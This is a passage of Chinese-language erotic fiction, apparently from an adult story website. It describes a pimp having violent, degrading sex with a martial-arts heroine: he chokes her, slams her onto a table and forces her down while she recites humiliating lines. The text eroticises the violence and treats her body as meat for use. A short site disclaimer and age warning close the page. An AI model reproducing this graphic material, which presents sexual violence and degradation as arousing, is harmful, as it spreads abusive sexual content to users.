「碰!」一聲水淋淋的肉響在屋中響起,張林府惡狠狠的衝進了瓊玉的身體,「啊……」女俠雪白的頸子本能的縮緊,柳眉簇成了一團。
但仍然掙扎著喚道:「謝謝……爺……操我這個……小……小婊子。」不等女俠的呻吟平息,第二下插入又隨之來臨,三下、四下,節奏越來越快,碰碰聲變成了混雜不清的唧唧咕咕。
「謝謝……爺……操我……我這個小婊子。」
「啊……啊……謝謝……操我……我……小婊子……」混雜不清的聲音從瓊玉身體裡變著調的發出來。很快就成了春情氾濫的哀鳴。
女俠的摟抱此時已經嚴重限制了皮條客的動作,張林府下身瘋狂進入著,同時粗暴的將瓊玉摟抱的臂膀從身上摘除下來。掐住她汗津津的頸子,惡狠狠的向桌面上按去。「彭!」女俠白晃晃的身子仰摔在黑黝黝的木桌上,震得上面的兩隻茶盅飛落在地上,碎片四處迸濺。
原來這桌子面子窄小,瓊玉修長的身子根本無法放下,肩上的部分登時靠著邊沿垂了下去,女俠的頭懸掛在桌邊,身子好似一張被拉滿的弓,伴隨著張林府的動作,滿頭青絲如同拂塵般甩動著。
不多時,額頭鬢角就漲起了青筋,俏臉憋得通紅,瓊鼻中竟逼出了青涕,朱唇大張,在沒命的呻吟間隙掙扎著喘氣。她幾次試圖挺起身子,都被張林府摀住臉狠狠的按了回去。張林府的身下只看得見瓊玉體中這一段白生生、圓滾滾的肉,好似一條大魚被剁去了頭尾,只端上中間最肥美的一截供人受用。
紅菱飛燕而今在張林府身下,只剩下了提供最實用一部分肉體的功能。一對兒高聳的肉峰如同兩個浪頭一般在女俠胸前盤旋,蕩漾,兩側的香肋張出鮮明的輪廓,腹部繃緊,把一個圓圓的肚臍兒拉成了細長。張林府的下身與瓊玉融合在一片水澤當中,完全開放的女性身體,將他的卑鄙、無恥、猥褻、暴力、侮辱、凌虐全部接納,報之以銷魂蝕骨的快感和溫存。
他的口水、汗水、眼淚全都無法控制的向身下的瓊玉滴落。與紅菱飛燕最隱秘部位的摩擦而氾濫出的快感,控制了他的整個身軀。瓊玉的美穴,淑乳、仙容、妙態,此刻已經失去了意義,完全集中到了與他陽具摩擦的那一部分。甚至連那一部分的結構都失去了意義。
此刻的陽具已經無行不可,只要微微有動作的意識,就在瓊玉的體內抽插到位。曾經夢寐以求的酥胸,就挺立在手邊,但就連摸一下的慾望都被下體的快感淹沒了,偶爾抓住,也不過是調整姿勢借力而已。



若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]